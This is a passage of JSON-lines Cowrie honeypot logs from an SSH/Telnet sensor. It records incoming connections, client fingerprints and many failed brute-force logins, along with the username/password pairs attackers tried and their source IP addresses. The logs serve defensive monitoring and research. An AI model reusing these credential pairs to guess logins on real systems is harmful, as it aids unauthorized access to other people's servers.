with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0e\\x80\\x8d\\x95\\xa1\\x87\\xbd\\xe3;\\xa8\\xd6\\x7fkS\\xc5/\\xd33m\\xc7\\xc0\\x91XT#V\\x9a\\xa2\\xf6\\x84\\xef\\x13 \\x83\\xef\\xbc\\x1dr\\xd9\\xe8\\x01\\xb75\\x9b\\xda(\\xdd\\xe9^\\xee\\xcb\\x02~FDOhx\\xfa\\xbb\\xe84\\xb0\\xfa\\xbc\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 L\\x97\\x91`\\xa09\\xea#\\xa9\\xb29\\x14\\xdcw}\\xfc=\\xad\\xdcy\\x0b\\xf7\\x10\\xf3p\\x1d\\x00\\x9c1\\xd1:\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:47.156471Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:47.469160Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:48.228387Z","src_ip":"45.153.34.195","session":"b0f04f266025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":24778,"dst_ip":"10.17.0.5","dst_port":22,"session":"6463881a1f40","protocol":"ssh","message":"New connection: 45.153.34.195:24778 (10.17.0.5:22) [session: 6463881a1f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:49.182660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:49.189362Z","src_ip":"45.153.34.195","session":"6463881a1f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:49.273904Z","src_ip":"45.153.34.195","session":"6463881a1f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:49.709663Z","src_ip":"45.153.34.195","session":"6463881a1f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:49.777532Z","src_ip":"91.92.40.36","session":"2eb4f2ca8d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:50.798226Z","src_ip":"45.153.34.195","session":"6463881a1f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":24788,"dst_ip":"10.17.0.5","dst_port":22,"session":"6108d0d84360","protocol":"ssh","message":"New connection: 45.153.34.195:24788 (10.17.0.5:22) [session: 6108d0d84360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:52.071206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:52.075967Z","src_ip":"45.153.34.195","session":"6108d0d84360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:52.161415Z","src_ip":"45.153.34.195","session":"6108d0d84360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1111","message":"login attempt [deploy/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:52.428290Z","src_ip":"45.153.34.195","session":"6108d0d84360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp","password":"123456","message":"login attempt [wp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:53.070656Z","src_ip":"91.92.40.36","session":"60185f7078ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45334,"dst_ip":"159.203.135.109","dst_port":22,"session":"54ba505b4d07","protocol":"ssh","message":"New connection: 91.92.40.36:45334 (159.203.135.109:22) [session: 54ba505b4d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:53.293959Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:53.511085Z","src_ip":"45.153.34.195","session":"6108d0d84360","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:54.349059Z","src_ip":"91.92.40.36","session":"54ba505b4d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:54.352325Z","src_ip":"91.92.40.36","session":"54ba505b4d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35078,"dst_ip":"10.17.0.5","dst_port":22,"session":"f07099d9165b","protocol":"ssh","message":"New connection: 45.153.34.195:35078 (10.17.0.5:22) [session: f07099d9165b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:55.027871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:55.032903Z","src_ip":"45.153.34.195","session":"f07099d9165b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:55.122761Z","src_ip":"45.153.34.195","session":"f07099d9165b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sharon","password":"sharon","message":"login attempt [sharon/sharon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:55.374198Z","src_ip":"45.153.34.195","session":"f07099d9165b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exam","password":"exam123","message":"login attempt [exam/exam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:56.092433Z","src_ip":"91.92.40.36","session":"c891be7d2842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.8","message":"Connection lost after 18.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:56.206455Z","src_ip":"91.92.40.36","session":"60185f7078ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:56.457604Z","src_ip":"45.153.34.195","session":"f07099d9165b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35104,"dst_ip":"10.17.0.5","dst_port":22,"session":"bea9ad8ad085","protocol":"ssh","message":"New connection: 45.153.34.195:35104 (10.17.0.5:22) [session: bea9ad8ad085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:57.996195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:58.007278Z","src_ip":"45.153.34.195","session":"bea9ad8ad085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:58.080378Z","src_ip":"45.153.34.195","session":"bea9ad8ad085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14420,"dst_ip":"159.203.135.109","dst_port":22,"session":"c899cdacc9ef","protocol":"ssh","message":"New connection: 91.92.40.36:14420 (159.203.135.109:22) [session: c899cdacc9ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:58.200820Z"}
{"eventid":"cowrie.login.failed","username":"repo","password":"repo","message":"login attempt [repo/repo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:58.408127Z","src_ip":"45.153.34.195","session":"bea9ad8ad085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43996,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8165a6f0d83","protocol":"telnet","message":"New connection: 128.199.8.54:43996 (159.203.135.109:23) [session: f8165a6f0d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:59.224226Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:59.541585Z","src_ip":"45.153.34.195","session":"bea9ad8ad085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:59.905092Z","src_ip":"91.92.40.36","session":"c891be7d2842","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:00.249299Z","src_ip":"91.92.40.36","session":"c899cdacc9ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:00.255031Z","src_ip":"91.92.40.36","session":"c899cdacc9ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35138,"dst_ip":"10.17.0.5","dst_port":22,"session":"81222666e66a","protocol":"ssh","message":"New connection: 45.153.34.195:35138 (10.17.0.5:22) [session: 81222666e66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:00.647881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:00.658687Z","src_ip":"45.153.34.195","session":"81222666e66a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:00.904959Z","src_ip":"45.153.34.195","session":"81222666e66a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123qwerty","message":"login attempt [master/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:00.924313Z","src_ip":"91.92.40.36","session":"54ba505b4d07","protocol":"ssh"}
